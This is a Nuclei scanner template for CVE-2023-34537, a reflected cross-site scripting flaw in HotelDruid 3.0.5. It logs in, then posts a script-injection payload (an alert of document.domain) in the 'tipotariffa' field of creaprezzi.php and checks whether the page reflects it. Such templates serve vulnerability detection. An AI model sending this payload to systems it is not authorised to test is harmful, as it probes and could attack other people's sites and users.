id: CVE-2023-34537

info:
  name: Hoteldruid 3.0.5 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    A Reflected XSS was discovered in HotelDruid version 3.0.5, an attacker can issue malicious code/command on affected webpage's parameter to trick user on browser and/or exfiltrate data.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/leekenghwa/CVE-2023-34537---XSS-reflected--found-in-HotelDruid-3.0.5
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34537
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-34537
    cwe-id: CWE-79
    epss-score: 0.0007
    epss-percentile: 0.28902
    cpe: cpe:2.3:a:digitaldruid:hoteldruid:3.0.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: digitaldruid
    product: hoteldruid
  tags: cve,cve2023,hoteldrui,xss,authenticated,digitaldruid

http:
  - raw:
      - |
        POST /inizio.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        vers_hinc=1&nome_utente_phpr={{username}}&password_phpr={{password}}
      - |
        POST /creaprezzi.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        anno=2023&id_sessione=&tipotariffa=a19yc%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3emjf9oc2183m&inizioperiodosett1=2023-12-24&fineperiodosett1=2023-12-31&tipo_prezzo=sett&prezzosett=&prezzosettp=&prezzoperiodo1=&prezzoperiodo1p=&prezzoperiodo2=&prezzoperiodo2p=&prezzoperiodo3=&prezzoperiodo3p=&prezzoperiodo4=&prezzoperiodo4p=&prezzoperiodo5=&prezzoperiodo5p=&prezzoperiodo6=&prezzoperiodo6p=&prezzoperiodo7=&prezzoperiodo7p=&inserisci_settimanalmente=1

    skip-variables-check: true
    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "<script>alert(document.domain)</script>")'
          - 'contains(body_2, "HotelDruid")'
        condition: and
# digest: 4a0a0047304502207eb954960f45ba8a537a4f9df8d0ae20b9df94f5d2a1f23b75dbd7babfe38c490221008770b31570bf350e2c6298274ccda38ba8bbcd38e3c26e2088705be94f5dd629:922c64590222798bb761d5b6d8e72950